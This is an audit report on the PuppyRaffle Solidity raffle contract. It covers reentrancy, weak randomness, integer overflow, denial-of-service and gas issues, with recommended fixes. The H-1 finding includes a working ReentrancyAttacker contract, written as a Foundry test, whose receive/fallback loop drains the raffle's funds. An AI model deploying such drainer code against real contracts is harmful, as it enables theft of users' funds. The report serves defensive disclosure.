Protocol Audit Report

Version 1.0

0xwolficy

March 8, 2024

Puppy Raffle Audit Report

0xwolficy

December 22, 2023

Prepared by: 0xwolficy (https://wolficy.xyz) Lead Auditors: 0xwolficy

Table of Contents

  - Impact: The whole contract's balance can be drained.
  - Proof of Concept:
  - Recommended mitigation:
  - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner
  - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

- Medium

  - [M-1] Denial of service attack due to loop on unbounded array. Users can enter as many addresses as they want, incrementing gas prices for future entrants.
  - Description: A denial of service attack can be performed on `PuppyRaffle:enterRaffle` due to the `newPlayers` unbounded array that takes as parameter. Specifically the loop performed on it to check for duplicates makes the attack possible, since users can enter as many addresses as they want in the raffle, resulting in a very expensive gas operation and maybe exceeding gas block limits. The first users will have an unfair advantage since they will get cheaper gas transactions than those ones who enter next, as the gas price will naturally and exponentially go up. This results in users choosing not to the enter the raffle, breaking the raffle and protocol's purpose.
  - Impact: Making `PuppyRaffle:enterRaffle` too expensive and causing a rush to enter first to the raffle. Also an attacker could enter a bunch of addresses to guarantee the win, since other users will consider the gas price too high to enter.
  - Proof of Concept:
  - Recommended Mitigation:
  - [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
  - [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low

  - [L-1] Potentially erroneous active player index

- Gas

  - [G-1]: Unchanged storage variables are not `constant` or `immutable`, consuming more gas than needed.
  - Description: Unchanged storage variables are not `constant` or `immutable`, leading to more gas consumption due to reading from storage. See below examples
  - Impact: This practice can consume more gas than what's really needed.

  - Recommended mitigation: Consider using `constant` or `immutable` for these unchanged variables.
  - [G-2]: Uncached storage variables can lead to spend more gas
  - Description: Storage variables are being used directly instead of caching them locally in functions. This causes to spend more gas.
  - Impact: Higher gas costs.
  - Recommended mitigation: Cache storage variables. See below

- Informational
  - [I-1]: Missing checks for `address(0)` when assigning values to address state variables
  - Description: Assigning values to address state variables without checking for `address(0)`.
  - Impact: This can lead, for example, to send funds to a zero address, meaning that they will be unreacheable.
  - Recommended mitigation: Consider checking for `address(0)` when assigning values to address state variables.
  - [I-2]: Solidity pragma should be specific, not wide
  - Description: Used solidity pragma is wide, meaning it could be more than one version. This is not a good practice. Below we can see where it is used
  - Impact: This can lead auditors and even other developers to don't have clear which version to use when testing, having breaking dependencies, old vulnerabilities, among others.
  - Recommended mitigation: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`. Also make sure that you are using stable versions and not old ones.
  - [I-2] Magic Numbers
  - [I-3] Test Coverage
  - [I-4] _isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The 0xwolficy team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
    |--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Fourteen (14) issues were find during this security review.

Severity	Issues found
High	3
Medium	4
Low	1
Gas	2
Info	4
Total	14

Findings

High

[H-1]: Reentrancy on `PuppyRaffle::refund` due to updating state after external call. Whole contract's funds can be drained.

Description: Reentrancy on `PuppyRaffle::refund` due to not following CEI (Checks, Effects, Interactions), updating player's state after refunding the entrance fee. An attacker can enter the raffle and immediately after ask for a refund, and when he gets the refund in his `receive/fallback` function he can set it to keep on calling `PuppyRaffle::refund` and reentering the function, since the state change/update happens after this external call to `msg.sender`. As a result, the whole contract's balance can be drained.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee); //external call
7  @>      players[playerIndex] = address(0); //state update
8          emit RaffleRefunded(playerAddress);
9      }
```

Impact: The whole contract's balance can be drained.

Proof of Concept:

1. Attacker sets a malicious contract with an `attack` function to initially call `PuppyRaffle::enterRaffle` to enter the raffle and immediately after call for a refund to `PuppyRaffle::refund`.
2. Attacker sets a `stealMoney` function to check if the victim contract's balance is > 1 `ether`. If so, it then proceeds to call `PuppyRaffle::refund`. The `receive` and `fallback` functions are set to call `stealMoney`.
3. Attacker calls `PuppyRaffle::enterRaffle` to start the attack and the reentrant loop until all funds have been drained.

Code

Place the following test on the `PuppyRaffleTest.t.sol` file

```
1      function test_refundReentrancy() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
10         address attackUser = makeAddr("attackUser");
11         vm.deal(attackUser, 1 ether);
12
13         uint256 startingAttackerBalance = address(attackerContract).
               balance;
14         uint256 startingContractBalance = address(puppyRaffle).balance;
15
```

```
16          //attack
17          vm.prank(attackUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("Starting balance of victim contract:",
                startingContractBalance);
21          console.log("Starting balance of attacker contract:",
                startingAttackerBalance);
22
23          console.log("Ending balance of victim contract:", address(
                puppyRaffle).balance);
24          console.log("Ending balance of attacker contract:", address(
                attackerContract).balance);
25      }
26
27      contract ReentrancyAttacker {
28          PuppyRaffle puppyRaffle;
29          uint256 entranceFee;
30          uint256 attackerIndex;
31
32          constructor(PuppyRaffle _puppyRaffle) {
33              puppyRaffle = _puppyRaffle;
34              entranceFee = puppyRaffle.entranceFee();
35          }
36
37          function attack() external payable {
38              address[] memory players = new address[](1);
39              players[0] = address(this);
40              puppyRaffle.enterRaffle{value: entranceFee}(players);
41              attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                    this));
42              puppyRaffle.refund(attackerIndex);
43          }
44
45          function _stealFunds() internal {
46              if(address(puppyRaffle).balance >= 1 ether) {
47                  puppyRaffle.refund(attackerIndex);
48              }
49          }
50
51          receive() external payable {
52          _stealFunds();
53          }
54
55          fallback() external payable {
56              _stealFunds();
57          }
58      }
```

Recommended mitigation:

There are a few ways to mitigate this: - implement the `CEI` pattern (Checks, Effects, Interactions): first check, then make changes/updates (states) and finally make interactions (external calls) - we can use a lock on the function by first declaring `bool locked = false` outside of the function, and then inside the function setting it to true `bool locked = true` and finally with a `require` or `if` check: `if(locked){revert()}`. then `locked = false` at the end - another way is to use the `nonReentrant` modifier from Open Zeppelin

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

```

```
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Denial of service attack due to loop on unbounded array. Users can enter as many addresses as they want, incrementing gas prices for future entrants.

Description: A denial of service attack can be performed on `PuppyRaffle:enterRaffle` due to the `newPlayers` unbounded array that takes as parameter. Specifically the loop performed on it to check for duplicates makes the attack possible, since users can enter as many addresses as they want in the raffle, resulting in a very expensive gas operation and maybe exceeding gas block limits. The first users will have an unfair advantage since they will get cheaper gas transactions than those ones who enter next, as the gas price will naturally and exponentially go up. This results in users choosing not to the enter the raffle, breaking the raffle and protocol's purpose.

```
1          // Check for duplicates -> DoS attack
2  @>       for (uint256 i = 0; i < players.length - 1; i++) {
3              for (uint256 j = i + 1; j < players.length; j++) {
4                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5              }
6          }
```

Impact: Making `PuppyRaffle:enterRaffle` too expensive and causing a rush to enter first to the raffle. Also an attacker could enter a bunch of addresses to guarantee the win, since other users will consider the gas price too high to enter.

Proof of Concept:

If we have to sets of 100 players each, the costs will be as such: - 1st 100 players: ~23720441 - 2nd 100 players: ~88010038

The costs went up almost 4x for the second batch of 100 players.

Code

Place the following test on the `PuppyRaffleTest.t.sol` file

```
1          function test_RaffleDos() public {
2          uint256 playersNum = 100;
3          address[] memory players = new address[](playersNum);
4          for(uint256 i = 0; i < playersNum; ++i) {
5              players[i] = address(i);
6          }
```

```
7
8           vm.txGasPrice(1);
9           //see how much gas it costs first 100 players
10          uint256 gasStart = gasleft();
11          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
12          uint256 gasEnd = gasleft();
13          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
14          console.log("Amount of gas used first:", gasUsedFirst);
15
16          address[] memory players2 = new address[](playersNum);
17          for(uint256 i = 0; i < playersNum; ++i) {
18              players2[i] = address(i + playersNum);
19          }
20
21          //see how much gas it costs next 100 players
22          uint256 gasStart2 = gasleft();
23          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players2);
24          uint256 gasEnd2 = gasleft();
25          uint256 gasUsedSecondTime = (gasStart2 - gasEnd2) * tx.gasprice
                ;
26          console.log("Amount of gas used second time:",
                gasUsedSecondTime);
27
28          assert(gasUsedFirst < gasUsedSecondTime);
29      }
```

Recommended Mitigation:

A few recommendations:

1. Consider using a mapping to check for duplicates. This would allow a constant time lookup for checking if a user is duplicated.

```
1   +     mapping(address => uint256) public addressToRaffleId;
2   +     uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -         // Check for duplicates
```

```
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

2. Check Open Zeppelin's EnumberableSet -> https://docs.openzeppelin.com/contracts/3.x/api/utils#EnumerableSe
3. Take an array of fixed size as parameter for `PuppyRaffle:enterRaffle` and keep it manageable.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

Gas

[G-1]: Unchanged storage variables are not `constant` or `immutable`, consuming more gas than needed.

Description: Unchanged storage variables are not `constant` or `immutable`, leading to more gas consumption due to reading from storage. See below examples

```
1     uint256 public raffleDuration;
2     string private commonImageUri = "ipfs://
          QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
```

```
3       string private rareImageUri = "ipfs://
            QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
4       string private legendaryImageUri = "ipfs://
            QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

Impact: This practice can consume more gas than what's really needed.

Recommended mitigation: Consider using `constant` or `immutable` for these unchanged variables.

[G-2]: Uncached storage variables can lead to spend more gas

Description: Storage variables are being used directly instead of caching them locally in functions. This causes to spend more gas.

Impact: Higher gas costs.

Recommended mitigation: Cache storage variables. See below

```
1  +    uint256 playersLength = players.length
2  -    for (uint256 i = 0; i < players.length - 1; i++) {
3  +     for (uint256 i = 0; i < playersLength - 1; i++) {
4  -         for (uint256 j = i + 1; j < players.length; j++) {
5  +         for (uint256 j = i + 1; j < playersLength; j++) {
6                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
7           }
8       }
```

Informational

[I-1]: Missing checks for `address(0)` when assigning values to address state variables

Description: Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 150

```
1           previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1           feeAddress = newFeeAddress;
```

Impact: This can lead, for example, to send funds to a zero address, meaning that they will be unreacheable.

Recommended mitigation: Consider checking for `address(0)` when assigning values to address state variables.

[I-2]: Solidity pragma should be specific, not wide

Description: Used solidity pragma is wide, meaning it could be more than one version. This is not a good practice. Below we can see where it is used

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

Impact: This can lead auditors and even other developers to don't have clear which version to use when testing, having breaking dependencies, old vulnerabilities, among others.

Recommended mitigation: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`. Also make sure that you are using stable versions and not old ones.

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
1  +       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  +       uint256 public constant FEE_PERCENTAGE = 20;
3  +       uint256 public constant TOTAL_PERCENTAGE = 100;
4  .
5  .
6  .
7  -        uint256 prizePool = (totalAmountCollected * 80) / 100;
8  -        uint256 fee = (totalAmountCollected * 20) / 100;
```

```
9           uint256 prizePool = (totalAmountCollected *
                PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
10          uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
                TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
    | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
    | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
    | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
    | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
    | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
    | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```